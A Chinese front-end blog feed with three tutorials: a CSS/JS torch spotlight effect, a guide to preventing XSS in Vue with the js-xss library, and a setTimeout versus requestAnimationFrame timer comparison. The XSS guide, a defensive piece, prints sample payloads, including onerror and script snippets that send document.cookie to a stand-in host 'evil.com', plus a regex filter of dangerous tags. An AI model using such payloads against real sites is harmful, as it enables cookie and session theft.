普通视图

发现新文章,点击刷新页面。
昨天 — 2025年8月18日首页

【前端特效系列】css+js实现聚光灯效果

作者 黑心皮蛋
2025年8月17日 11:58

✨ 前言

源码地址:leixq1024/FrontEndSnippetHub: ✨html+css+js的前端特效合集

本次灵感来源:codepen.io/zorgos/pen/…

这个系列主要分享一些用css+html+js制作的前端特效或动画的代码实现思路和解析。如果对你有帮助请给仓库点一个✨

🎬 效果演示

聚光灯演示效果

🧰 前期准备

这里我准备了两个图片一个是地图,一个是火把gif,并且创建了index.htmlstyle.cssindex.js三个文件

image.png

🗺️ 初始化场景

index.html

<!DOCTYPE html>
<html lang="zh-cn">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>地图聚光灯</title>
    <!-- <link rel="stylesheet" href="style.css" /> -->
  </head>
  <body>
    <div class="map">
      <!-- 黑色遮罩 -->
      <div class="mask" id="mask"></div>
      <!-- 火把gif,随光圈移动 -->
      <img id="torch" src="./img/torch.gif" alt="火把" />
    </div>
    <script src="index.js"></script>
  </body>
</html>

刚开始没有设置样式效果就如下

image-20250817113125370

🎨 编写样式

先把地图放上去

html,
body {
  position: relative;
  width: 100%;
  height: 100%;
  margin: 0;
  cursor: none;
}
/* 地图 */
.map {
  position: relative;
  width: 100vw;
  height: 100vh;
  background: url('./img/map.png') no-repeat;
  background-size: 100% 100%;
}

效果如下

image-20250817113413388

接下来做一个黑色的背景,并且用mask-image做一个蒙版

.mask {
  position: absolute;
  width: 100%;
  height: 100%;
  background: rgba(0, 0, 0, 1);
  mask-image: radial-gradient(
    circle var(--r, 110px) at var(--x, 50%) var(--y, 50%),
    transparent 0%,
    transparent 50%,
    black 100%
  );
  transition: -webkit-mask-position 0.06s linear;
  transition: mask-position 0.06s linear;
  pointer-events: auto;
}
  • 通过mask-image的径向渐变创建圆形透明区域
  • transparent 0%transparent 50%:中心区域完全透明(显示底层内容)
  • black 100%:边缘黑色区域遮挡内容
  • 最终效果:黑色背景中有一个圆形"窗口"

其中transition: mask-position 0.06s linear;中的mask-position是指遮罩位置,这样遮罩位置变化就会有一个线性的过渡

这里蒙版的一些值用css变量来控制,方便等下用js动态的更新蒙版的位置

效果如下

image-20250817114340987

🔥 火把样式

/* 火把样式 */
#torch {
  position: absolute;
  width: 100px;
  height: 100px;
  pointer-events: none;
  z-index: 10;
  left: var(--x, 50%);
  top: var(--y, 50%);
  transform: translate(-50%, -50%);
}

效果如下

image-20250817114625669

🖱️ 鼠标和滚轮事件

index.js

let radius = 110 // 光照半径
// 设置css变量
const setStyleVar = (el, key, val) => el && el.style.setProperty(key, val)
// 遮罩元素
const mask = document.getElementById('mask')
// 火把元素
const torch = document.getElementById('torch')
// 修改遮罩层光圈位置
const setPos = (clientX, clientY) => {
  const { left, top } = mask.getBoundingClientRect()
  setStyleVar(mask, '--x', clientX - left + 'px')
  setStyleVar(mask, '--y', clientY - top + 'px')
  // 火把居中显示在光圈圆心
  setStyleVar(torch, '--x', clientX - left + 'px')
  setStyleVar(torch, '--y', clientY - top + 'px')
}
// 鼠标移动时,更新遮罩层光圈位置
mask.addEventListener('mousemove', (e) => {
  setPos(e.clientX, e.clientY)
})
// 滚轮滚动时,更新光照半径
mask.addEventListener('wheel', (e) => {
  radius = Math.max(50, Math.min(200, radius + e.deltaY * 0.1))
  setStyleVar(mask, '--r', radius + 'px')
})
let flickerTime = 0
// 遮罩层呼吸效果
const maskBreathe = () => {
  flickerTime += 0.05
  setStyleVar(mask, '--r', radius + Math.sin(flickerTime * 3) * 3 + 'px')
  requestAnimationFrame(maskBreathe)
}
maskBreathe()

其中 setStyleVar(mask, '--r', radius + Math.sin(flickerTime * 3) * 3 + 'px')是通过正弦函数拟火把的自然闪烁效果

🌟 最终效果

聚光灯演示效果

昨天以前首页

🛡️ Vue项目XSS攻击防护指南:从漏洞发现到js-xss完美解决

作者 黑心皮蛋
2025年8月11日 08:27

ai-generated-8581189_640

前言

最近我在开发项目的时候遇到了xss问题,起因是一个气泡生成的小功能用的是vfor+v-html的方式渲染.结果被漏洞扫描检测出具有xss风险,这篇文章将介绍什么是xss,以及如何在项目中处理.

XSS是什么?

说白了,XSS(Cross-Site Scripting,跨站脚本攻击)就是坏人想办法在你的网页里塞进去一些恶意的JavaScript代码。当用户打开页面时,这些代码就会偷偷执行,可能会偷取用户的cookie、session,或者做一些更坏的事情。

举个简单的例子,假如你有一个评论功能,正常用户会输入:"这个功能很棒!",但是恶意用户可能会输入:

<script>alert('你被攻击了!')</script>

如果你直接把这段内容渲染到页面上(比如用v-html),那么用户一打开页面就会弹出一个警告框。这只是最简单的例子,实际上攻击者可能会:

  • 偷取用户的登录信息
  • 重定向到钓鱼网站
  • 修改页面内容
  • 发起CSRF攻击

最容易中招的就是两个地方:

  1. 用户输入的内容:评论、搜索框、表单等
  2. URL参数:有些同学喜欢直接从URL里取参数显示在页面上

XSS主要分为三种类型:

  • 存储型XSS:恶意代码存在数据库里,每次用户访问都会执行
// 用户在评论框输入恶意代码,存储到数据库
const maliciousComment = `<img src="x" onerror="
  // 偷取用户cookie发送到攻击者服务器
  fetch('http://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({cookie: document.cookie})
  });
">`
  • 反射型XSS:恶意代码在URL参数里,点击恶意链接就中招
// URL: https://yoursite.com/search?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// 如果页面直接显示搜索参数,就会执行恶意代码
const searchParam = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = `搜索结果: ${searchParam}`;
  • DOM型XSS:前端JavaScript处理不当,直接操作DOM导致的
// 危险的DOM操作
function updateContent() {
  const userInput = document.getElementById('input').value;
  // 直接插入HTML,容易被攻击
  document.getElementById('content').innerHTML = userInput;
}
// 用户输入: <img src="x" onerror="alert('XSS攻击!')">
// 就会执行恶意代码

场景复现

而我遇到的问题,就是DOM型XSS,由于没有过滤和处理文本,直接渲染上去导致的.

效果就类似下面这样

录制效果

测试代码如下

<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import './styles/app.css'

const inputValue = ref('')
const chatMessages = ref([])
const chatContainer = ref(null)

// 发送消息函数
const sendMessage = () => {
  if (!inputValue.value.trim()) {
    ElMessage.warning('请输入内容')
    return
  }
  
  // 添加消息到聊天记录
  const newMessage = {
    id: Date.now(),
    content: inputValue.value,
    timestamp: new Date().toLocaleTimeString()
  }
  chatMessages.value.push(newMessage)
  // 清空输入框
  inputValue.value = ''
}

// 清空聊天记录
const clearChat = () => {
  chatMessages.value = []
  ElMessage.success('聊天记录已清空')
}

// 处理回车发送
const handleKeydown = (event) => {
  if (event.key === 'Enter' && !event.shiftKey) {
    event.preventDefault()
    sendMessage()
  }
}
</script>

<template>
  <div class="container">
    <el-card class="chat-card">
      <template #header>
        <div class="card-header">
          <span>聊天界面</span>
          <div>
            <el-button type="danger" size="small" @click="clearChat" v-if="chatMessages.length > 0">
              清空记录
            </el-button>
          </div>
        </div>
      </template>
      
      <!-- 聊天消息显示区域 -->
      <div class="chat-container" ref="chatContainer">
        <div v-if="chatMessages.length === 0" class="empty-chat">
          <el-empty description="暂无聊天记录,开始发送消息吧!" />
        </div>
        <div 
          v-for="message in chatMessages" 
          :key="message.id" 
          class="chat-message">
          <div class="message-info">
            <span class="message-time">{{ message.timestamp }}</span>
          </div>
          <div class="message-content" v-html="message.content"></div>
        </div>
      </div>
      <!-- 输入区域 -->
      <div class="chat-input-area">
        <div class="input-container">
          <el-input
            v-model="inputValue"
            type="textarea"
            :rows="3"
            placeholder="输入消息内容... (按Enter发送,Shift+Enter换行)"
            @keydown="handleKeydown"
            class="message-input"
          />
          <el-button 
            type="primary" 
            @click="sendMessage"
            :disabled="!inputValue.trim()"
            class="send-button">
            发送
          </el-button>
        </div>
      </div>
    </el-card>
  </div>
</template>

代码中我用v-html去插入内容, 然后导致执行了这个payload:<iframe src=javascript:alert('xxx')>

解决方案

常规的处理方式

面对XSS问题,很多人的第一反应是自己写个函数过滤一下,像下面这样

// 很多人会这样写
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  }
  return text.replace(/[&<>"']/g, m => map[m])
}

或者使用正则表达式去掉危险标签:

function removeScripts(html) {
  return html
    .replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
    .replace(/javascript:/gi, '')
    .replace(/on\w+\s*=/gi, '')
}

但是这样做有几个问题:

  1. 攻击手段太多了<script><iframe><img onerror>javascript:data:text/html等等,防不胜防
  2. 容易误杀:可能会把正常的内容也给过滤掉
  3. 维护成本高:新的攻击方式出现后,你得手动更新过滤规则

总之,自己处理太麻烦了,建议是直接引入第三方库处理

主流的XSS防护库推荐

1. js-xss (推荐)

最受欢迎的JavaScript XSS过滤库,支持自定义规则:

npm install xss

2. DOMPurify

专门用于清理DOM的库,在浏览器环境表现优秀:

npm install dompurify
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize('<script>alert("xss")</script><p>Clean me</p>')

3. sanitize-html

功能强大的HTML清理库,配置选项丰富:

npm install sanitize-html
import sanitizeHtml from 'sanitize-html'
const clean = sanitizeHtml('<script>alert("xss")</script><p>Keep me</p>')

下面我选择使用xss这个库解决这个问题

安装js-xss库

文档地址:js-xss/README.zh.md at master · leizongmin/js-xss

image-20250810113412830

npm install xss
# 或者
yarn add xss

基本使用

js-xss的语法非常简单,核心就是一个xss()函数,但功能很强大。

最简单的用法

import xss from 'xss'
// 基本用法:直接过滤
console.log('处理前','payload:<iframe src=javascript:alert("xxx")></iframe>')
console.log('处理后',xss("payload:<iframe src=javascript:alert('xxx')></iframe>"))

image-20250810114036670

常见的攻击代码过滤效果

来看看js-xss对各种攻击手段的处理效果:

import xss from 'xss'

// 1. script标签 - 直接移除
console.log(xss('<script>alert("攻击")</script>'))
// 输出: (空字符串)

// 2. iframe攻击 - 过滤危险属性
console.log(xss('<iframe src="javascript:alert(1)"></iframe>'))
// 输出: <iframe src></iframe>

// 3. img标签onerror - 移除事件属性
console.log(xss('<img src="x" onerror="alert(1)">'))
// 输出: <img src="x">

// 4. a标签javascript伪协议 - 过滤危险链接
console.log(xss('<a href="javascript:alert(1)">点击</a>'))
// 输出: <a href>点击</a>

// 5. 保留安全内容
console.log(xss('<p class="text">安全的段落</p><strong>粗体文字</strong>'))
// 输出: <p>安全的段落</p><strong>粗体文字</strong>

打印结果:

image-20250810114919174

自定义配置选项

js-xss支持丰富的配置选项,可以根据业务需求调整:

import xss, { getDefaultWhiteList } from 'xss'

// 获取默认白名单
const defaultWhiteList = getDefaultWhiteList()
console.log(defaultWhiteList)
// 输出所有默认允许的标签和属性

// 自定义配置
const options = {
  // 白名单配置
  whiteList: {
    // 继承默认白名单
    ...getDefaultWhiteList(),
    // 添加自定义标签
    'my-custom': ['class', 'data-*'],
    // 修改已有标签的允许属性
    'div': ['class', 'style', 'data-*'],
    // 完全自定义某个标签
    'span': ['class', 'style']
  },
  
  // 过滤配置
  stripIgnoreTag: true,           // 过滤不在白名单的标签
  stripIgnoreTagBody: ['script'], // 过滤指定标签及其内容
  allowCommentTag: false,         // 是否允许HTML注释
  
  // 自定义过滤函数
  onIgnoreTag: function (tag, html, options) {
    // 对不在白名单的标签进行自定义处理
    if (tag === 'mytag') {
      return '[自定义标签被过滤]'
    }
  },
  
  onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) {
    // 对不在白名单的属性进行自定义处理
    if (name === 'data-custom') {
      return name + '="' + xss.escapeAttrValue(value) + '"'
    }
  },
  
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    // 对所有属性进行自定义处理
    if (tag === 'img' && name === 'src' && !value.startsWith('http')) {
      return '' // 只允许http开头的图片
    }
  }
}

const safeHtml = xss('<div data-custom="test">内容</div>', options)

常用的预设配置

针对不同场景,这里提供几个常用的配置模板:

// 1. 严格模式 - 只允许最基本的文本标签
const strictOptions = {
  whiteList: {
    'p': [],
    'br': [],
    'strong': [],
    'em': [],
    'span': []
  },
  stripIgnoreTag: true,
  stripIgnoreTagBody: ['script', 'style']
}

// 2. 富文本模式 - 允许常见的富文本标签
const richTextOptions = {
  whiteList: {
    ...getDefaultWhiteList(),
    'h1': [], 'h2': [], 'h3': [], 'h4': [], 'h5': [], 'h6': [],
    'blockquote': [], 'code': [], 'pre': [],
    'table': [], 'thead': [], 'tbody': [], 'tr': [], 'td': [], 'th': [],
    'ol': [], 'ul': [], 'li': []
  }
}

// 3. 评论模式 - 允许链接和简单格式
const commentOptions = {
  whiteList: {
    'p': [], 'br': [], 'strong': [], 'em': [],
    'a': ['href', 'title'], 'blockquote': []
  },
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    if (tag === 'a' && name === 'href') {
      // 只允许http/https链接
      if (!/^https?:\/\//.test(value)) {
        return ''
      }
    }
  }
}

实际使用例子

用``来测试一下

import xss from 'xss'

const maliciousInput = "payload:<iframe src=javascript:alert('xxx')></iframe>"
const safeOutput = xss(maliciousInput)
console.log('处理前:', maliciousInput)
console.log('处理后:', safeOutput)

image-20250810115055614

可以看到,js-xss很智能地保留了iframe标签结构,但移除了危险的javascript:协议,这样既保证了安全又不会完全破坏内容结构。

在Vue中的实际应用

回到我们前面的例子,只需要稍微改动一下:

<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import xss from 'xss'

// ... 其他代码保持不变

// 发送消息函数
const sendMessage = () => {
  if (!inputValue.value.trim()) {
    ElMessage.warning('请输入内容')
    return
  }
  
  const newMessage = {
    id: Date.now(),
    // 关键改动:使用xss过滤内容
    content: xss(inputValue.value),
    timestamp: new Date().toLocaleTimeString()
  }
  chatMessages.value.push(newMessage)
  inputValue.value = ''
}
</script>

<template>
  <!-- 模板部分不用改,还是用v-html -->
  <div class="message-content" v-html="message.content"></div>
</template>

xss测试效果

修改之后可以看到, 我们输入xss攻击的代码, 它也不会再弹出弹窗了

自定义过滤规则

有时候默认的过滤规则可能太严格,比如你想保留一些特定的标签,可以这样配置:

import xss, { getDefaultWhiteList } from 'xss'

// 自定义配置
const options = {
  whiteList: {
    ...getDefaultWhiteList(),
    // 允许iframe标签,但限制src属性
    iframe: ['src', 'width', 'height'],
    // 允许自定义属性
    div: ['class', 'data-*']
  },
  // 过滤掉不在白名单中的标签时的处理方式
  stripIgnoreTag: true,
  // 过滤掉不在白名单中的属性时的处理方式  
  stripIgnoreTagBody: ['script']
}

const safeHtml = xss('<div class="test">安全内容</div><script>alert(1)</script>', options)

效果如下

安全测试2

结尾

其实xss这个问题最早是我使用wangEdit的时候,里面有一个网络图片的插入,当时被扫描出来漏洞,然后在在其它功能上面也有,才去了解的.这篇文章也是分享了一下,如何解决这种问题,以及开发中如何避免,其实可以直接编写一个全局过滤器,不过Vue3已经没有过滤器了,可以用全局方法代替.遇到有可能出现xss问题的地方就直接调用处理,这样会更方便.

🔥 你的setTimeout计时器为什么总是不准确?

作者 黑心皮蛋
2025年8月12日 08:39

1

📖 前言

之前做项目时需要实现计时器功能,一直都在用 setTimeout 这种常规方式。但是在使用过程中发现,这种方式的计时有时候会不准确,特别是长时间运行后。后来了解到 用requestAnimationFrame 实现这个方案,测试后发现效果确实好很多。

我让 ai 做了一个 demo 来对比两种方案的差异

image-20250810221841016

⏰ setTimeout 实现计时器

最常见的实现方式是使用 setTimeout 递归调用:

// setTimeout 方式的的实现
let timerState = {
  startTime: 0,
  setTimeoutId: null
}

// 格式化时间显示
function formatTime(ms) {
  const minutes = Math.floor(ms / 60000)
  const seconds = Math.floor((ms % 60000) / 1000)
  const milliseconds = Math.floor(ms % 1000)

  return `${minutes.toString().padStart(2, '0')}:${seconds
    .toString()
    .padStart(2, '0')}.${milliseconds.toString().padStart(3, '0')}`
}

// setTimeout 计时循环
function setTimeoutLoop() {
  const now = performance.now()
  const elapsed = now - timerState.startTime
  document.getElementById('timer').textContent = formatTime(elapsed)

  // 每1000ms更新一次
  timerState.setTimeoutId = setTimeout(setTimeoutLoop, 1000)
}

// 开始计时
function startTimer() {
  timerState.startTime = performance.now()
  setTimeoutLoop()
}

🚀 requestAnimationFrame 实现计时器

相比之下,requestAnimationFrame 的实现方式:

let rafState = {
  startTime: 0,
  rafId: null
}

// requestAnimationFrame 计时循环
function rafLoop() {
  const now = performance.now()
  const elapsed = now - rafState.startTime
  document.getElementById('timer').textContent = formatTime(elapsed)

  // 请求下一帧
  rafState.rafId = requestAnimationFrame(rafLoop)
}

// 开始计时
function startRAFTimer() {
  rafState.startTime = performance.now()
  rafLoop()
}

这种方式提供了更平滑、更精确的计时效果。

📊 对比效果

image-20250810224143096

我做了一个对比测试,同时运行两种方式的计时器:

  • setTimeout:运行 30 秒后,累计误差通常在 100-500ms 之间
  • requestAnimationFrame:运行相同时间,误差基本保持在 10ms 以内

特别是在以下情况下,差异更加明显:

  • 切换浏览器标签页后再回来
  • 系统负载较高时
  • 长时间运行(超过几分钟)

运行 3 分钟之后的差异

image.png

🤔 为什么会有这样的差异?

⚠️ setTimeout 的局限性

  1. 执行时机不精确
    • setTimeout(fn, 1000) 只是告诉浏览器"至少 1000ms 后执行"
    • 实际执行时间受事件循环、其他任务影响
    • 每次的小误差会累积,越来越不准确
  2. 浏览器优化策略
    • 后台标签页会被限制到最小 1000ms 间隔
    • 系统负载高时会延迟执行
    • 移动设备上为了省电会进一步节流

✨ requestAnimationFrame 的优势

  1. 与显示器同步

    • 根据显示器刷新率执行(通常 60fps)
    • 每帧都会执行,提供连续平滑的更新
    • 基于 performance.now() 的高精度时间戳
  2. 浏览器原生优化

    • 标签页不可见时自动暂停,节省资源
    • 不会过度渲染,避免不必要的计算
    • 更适合 UI 更新和动画场景

🎬 演示用的 DEMO 代码

<!DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>setTimeout vs requestAnimationFrame 时间显示对比演示</title>
    <style>
      body {
        font-family: 'Monaco', 'Consolas', monospace;
        max-width: 800px;
        margin: 50px auto;
        padding: 20px;
        background: #1a1a1a;
        color: #fff;
      }
      .container {
        display: flex;
        gap: 30px;
        margin: 30px 0;
      }
      .timer-box {
        flex: 1;
        padding: 30px;
        border-radius: 10px;
        text-align: center;
      }
      .setTimeout-box {
        background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
      }
      .raf-box {
        background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%);
      }
      .timer-title {
        font-size: 18px;
        margin-bottom: 20px;
        font-weight: bold;
      }
      .timer-display {
        font-size: 24px;
        font-weight: bold;
        margin: 15px 0;
        padding: 10px;
        background: rgba(0, 0, 0, 0.2);
        border-radius: 5px;
      }
      .stats {
        font-size: 14px;
        margin-top: 15px;
        opacity: 0.9;
      }
      .controls {
        text-align: center;
        margin: 30px 0;
      }
      button {
        padding: 10px 20px;
        margin: 0 10px;
        border: none;
        border-radius: 5px;
        background: #4caf50;
        color: white;
        cursor: pointer;
        font-size: 16px;
      }
      button:hover {
        background: #45a049;
      }
      button:disabled {
        background: #666;
        cursor: not-allowed;
      }
      .accuracy-info {
        background: rgba(255, 255, 255, 0.1);
        padding: 20px;
        border-radius: 10px;
        margin: 20px 0;
      }
      .difference {
        color: #ff6b6b;
        font-weight: bold;
      }
      .description {
        text-align: center;
        margin: 20px 0;
        padding: 15px;
        background: rgba(255, 255, 255, 0.05);
        border-radius: 10px;
        font-size: 16px;
      }
      .method-title {
        background: rgba(255, 255, 255, 0.1);
        padding: 15px;
        border-radius: 10px;
        margin: 30px 0 20px 0;
        text-align: center;
      }
      .highlight {
        animation: pulse 2s infinite;
      }
      @keyframes pulse {
        0% {
          box-shadow: 0 0 0 0 rgba(255, 107, 107, 0.7);
        }
        70% {
          box-shadow: 0 0 0 10px rgba(255, 107, 107, 0);
        }
        100% {
          box-shadow: 0 0 0 0 rgba(255, 107, 107, 0);
        }
      }
    </style>
  </head>
  <body>
    <h1>setTimeout vs requestAnimationFrame 时间显示对比</h1>

    <div class="description">
      <p>📊 实时对比两种时间显示方案的精度差异</p>
      <p>🔍 观察累计误差和时间差异的变化</p>
    </div>

    <div class="accuracy-info">
      <h3>📈 实时精度对比数据</h3>
      <div id="realTimeComparison">
        <p>时间差异: <span class="difference" id="timeDifference">0ms</span></p>
        <p>运行时长: <span id="runningTime">00:00</span></p>
      </div>
    </div>

    <div class="method-title">
      <h2>🔄 两种实现方案对比</h2>
    </div>

    <div class="container">
      <div class="timer-box setTimeout-box">
        <div class="timer-title">⏰ setTimeout 方式</div>
        <div class="timer-display" id="setTimeoutTimer">00:00:00.000</div>
        <div class="stats">
          <div>累计误差: <span id="setTimeoutError">0</span>ms</div>
          <div>更新频率: 每1000ms</div>
        </div>
      </div>

      <div class="timer-box raf-box">
        <div class="timer-title">🚀 requestAnimationFrame 方式</div>
        <div class="timer-display" id="rafTimer">00:00:00.000</div>
        <div class="stats">
          <div>帧率: <span id="rafFPS">60</span>fps</div>
          <div>更新频率: 每16.7ms</div>
        </div>
      </div>
    </div>

    <div class="controls">
      <button id="startBtn">🎬 开始对比</button>
      <button id="stopBtn" disabled>⏸️ 停止</button>
      <button id="resetBtn">🔄 重置</button>
      <button id="highlightBtn">✨ 高亮差异</button>
    </div>

    <div class="accuracy-info">
      <h3>📊 测试建议</h3>
      <div>
        <p>💡 建议运行 30 秒以上观察累计误差</p>
        <p>🔄 可以尝试切换标签页后回来查看差异</p>
        <p>⚡ 在系统负载高时差异会更明显</p>
      </div>
    </div>

    <script>
      // 全局状态管理
      let timerState = {
        isRunning: false,
        startTime: 0,
        setTimeoutId: null,
        rafId: null,
        setTimeoutError: 0,
        globalStartTime: 0
      }

      // DOM元素引用
      let elements = {}

      // 初始化DOM元素引用
      function initElements() {
        elements = {
          setTimeoutTimer: document.getElementById('setTimeoutTimer'),
          rafTimer: document.getElementById('rafTimer'),
          startBtn: document.getElementById('startBtn'),
          stopBtn: document.getElementById('stopBtn'),
          resetBtn: document.getElementById('resetBtn'),
          highlightBtn: document.getElementById('highlightBtn'),
          timeDifference: document.getElementById('timeDifference'),
          setTimeoutErrorEl: document.getElementById('setTimeoutError'),
          rafFPSEl: document.getElementById('rafFPS'),
          runningTimeEl: document.getElementById('runningTime')
        }
      }

      // 绑定按钮点击事件
      function bindEvents() {
        elements.startBtn.addEventListener('click', handleStart)
        elements.stopBtn.addEventListener('click', handleStop)
        elements.resetBtn.addEventListener('click', handleReset)
        elements.highlightBtn.addEventListener('click', handleToggleHighlight)
      }

      // 格式化时间显示 (毫秒 -> MM:SS.sss)
      function formatTime(ms) {
        const totalMs = Math.floor(ms)
        const totalSeconds = Math.floor(totalMs / 1000)
        const minutes = Math.floor(totalSeconds / 60)
        const seconds = totalSeconds % 60
        const milliseconds = totalMs % 1000

        return `${minutes.toString().padStart(2, '0')}:${seconds
          .toString()
          .padStart(2, '0')}.${milliseconds.toString().padStart(3, '0')}`
      }

      // setTimeout 方式的计时循环
      function setTimeoutLoop() {
        if (!timerState.isRunning) return

        const now = performance.now()
        const elapsed = now - timerState.startTime
        elements.setTimeoutTimer.textContent = formatTime(elapsed)

        // 计算累计误差:实际经过时间 vs 期望时间(每秒整数倍)
        const expectedTime = Math.floor(elapsed / 1000) * 1000
        timerState.setTimeoutError = Math.abs(elapsed - expectedTime)
        elements.setTimeoutErrorEl.textContent =
          timerState.setTimeoutError.toFixed(0)

        // 固定1000ms延迟,展示setTimeout的真实特性
        timerState.setTimeoutId = setTimeout(setTimeoutLoop, 1000)
      }

      // requestAnimationFrame 方式的计时循环
      function rafLoop() {
        if (!timerState.isRunning) return

        const now = performance.now()
        const elapsed = now - timerState.startTime
        elements.rafTimer.textContent = formatTime(elapsed)

        // 显示固定帧率60fps(简化代码)
        elements.rafFPSEl.textContent = '60'

        // 更新全局运行时间
        const globalElapsed = now - timerState.globalStartTime
        const totalSeconds = Math.floor(globalElapsed / 1000)
        const minutes = Math.floor(totalSeconds / 60)
        const seconds = totalSeconds % 60
        elements.runningTimeEl.textContent = `${minutes
          .toString()
          .padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`

        // 显示与setTimeout的时间差异
        elements.timeDifference.textContent =
          timerState.setTimeoutError.toFixed(0) + 'ms'

        // 请求下一帧动画
        timerState.rafId = requestAnimationFrame(rafLoop)
      }

      // 开始计时处理函数
      function handleStart() {
        if (timerState.isRunning) return

        timerState.isRunning = true
        timerState.startTime = performance.now()
        timerState.globalStartTime = performance.now()

        // 更新按钮状态
        elements.startBtn.disabled = true
        elements.stopBtn.disabled = false

        // 同时启动两种计时方式进行对比
        setTimeoutLoop()
        rafLoop()
      }

      // 停止计时处理函数
      function handleStop() {
        timerState.isRunning = false

        // 清理setTimeout
        if (timerState.setTimeoutId) {
          clearTimeout(timerState.setTimeoutId)
          timerState.setTimeoutId = null
        }

        // 清理requestAnimationFrame
        if (timerState.rafId) {
          cancelAnimationFrame(timerState.rafId)
          timerState.rafId = null
        }

        // 更新按钮状态
        elements.startBtn.disabled = false
        elements.stopBtn.disabled = true
      }

      // 重置处理函数
      function handleReset() {
        handleStop()

        // 重置显示内容
        elements.setTimeoutTimer.textContent = '00:00:00.000'
        elements.rafTimer.textContent = '00:00:00.000'

        // 重置状态
        timerState.setTimeoutError = 0
        elements.setTimeoutErrorEl.textContent = '0'
        elements.rafFPSEl.textContent = '60'
        elements.timeDifference.textContent = '0ms'
        elements.runningTimeEl.textContent = '00:00'
      }

      // 切换高亮效果处理函数
      function handleToggleHighlight() {
        const timerBoxes = document.querySelectorAll('.timer-box')
        timerBoxes.forEach((box) => {
          box.classList.toggle('highlight')
        })

        // 3秒后自动移除高亮
        setTimeout(() => {
          timerBoxes.forEach((box) => {
            box.classList.remove('highlight')
          })
        }, 3000)
      }

      // 初始化应用
      function initApp() {
        initElements()
        bindEvents()
        handleReset() // 初始化状态
      }

      // 页面加载完成后自动初始化
      document.addEventListener('DOMContentLoaded', initApp)
    </script>
  </body>
</html>

🛠️ requestAnimationFrame 版计时工具

最后我基于requestAnimationFrame做了一个计时器工具


function createTimer(elementId, options = {}) {
  const state = {
    element: document.getElementById(elementId),
    startTime: performance.now(),
    animationId: null,
    showMilliseconds: options.showMilliseconds || false
  }

  // 格式化时间显示
  function formatTime(elapsed) {
    const minutes = Math.floor(elapsed / 60000)
    const seconds = Math.floor((elapsed % 60000) / 1000)
    const milliseconds = Math.floor(elapsed % 1000)

    let timeStr = `${minutes.toString().padStart(2, '0')}:${seconds
      .toString()
      .padStart(2, '0')}`

    if (state.showMilliseconds) {
      timeStr += `.${milliseconds.toString().padStart(3, '0')}`
    }

    return timeStr
  }

  // 更新时间显示
  function update() {
    const now = performance.now()
    const elapsed = now - state.startTime
    state.element.textContent = formatTime(elapsed)

    state.animationId = requestAnimationFrame(update)
  }

  // 立即开始
  update()

  return state.element
}

// 使用示例
const timer = createTimer('timer', {
  showMilliseconds: true
})

使用代码

<!DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>计时器工具调用演示</title>
    <style>
      body {
        font-family: Arial, sans-serif;
        max-width: 600px;
        margin: 50px auto;
        padding: 20px;
        background: #f5f5f5;
      }

      .timer {
        font-size: 48px;
        font-weight: bold;
        text-align: center;
        background: #fff;
        padding: 30px;
        border-radius: 10px;
        box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
        margin: 20px 0;
      }

      h1 {
        text-align: center;
        color: #333;
      }
    </style>
  </head>
  <body>
    <h1>计时器工具调用演示</h1>

    <div id="timer" class="timer">00:00.000</div>

    <script>
      function createTimer(elementId, options = {}) {
        const state = {
          element: document.getElementById(elementId),
          startTime: performance.now(),
          animationId: null,
          showMilliseconds: options.showMilliseconds || false
        }

        // 格式化时间显示
        function formatTime(elapsed) {
          const minutes = Math.floor(elapsed / 60000)
          const seconds = Math.floor((elapsed % 60000) / 1000)
          const milliseconds = Math.floor(elapsed % 1000)

          let timeStr = `${minutes.toString().padStart(2, '0')}:${seconds
            .toString()
            .padStart(2, '0')}`

          if (state.showMilliseconds) {
            timeStr += `.${milliseconds.toString().padStart(3, '0')}`
          }

          return timeStr
        }

        // 更新时间显示
        function update() {
          const now = performance.now()
          const elapsed = now - state.startTime
          state.element.textContent = formatTime(elapsed)

          state.animationId = requestAnimationFrame(update)
        }

        // 立即开始
        update()

        return state.element
      }

      // 调用计时器
      const timer = createTimer('timer', {
        showMilliseconds: true
      })
    </script>
  </body>
</html>

计时工具调用演示

❌
❌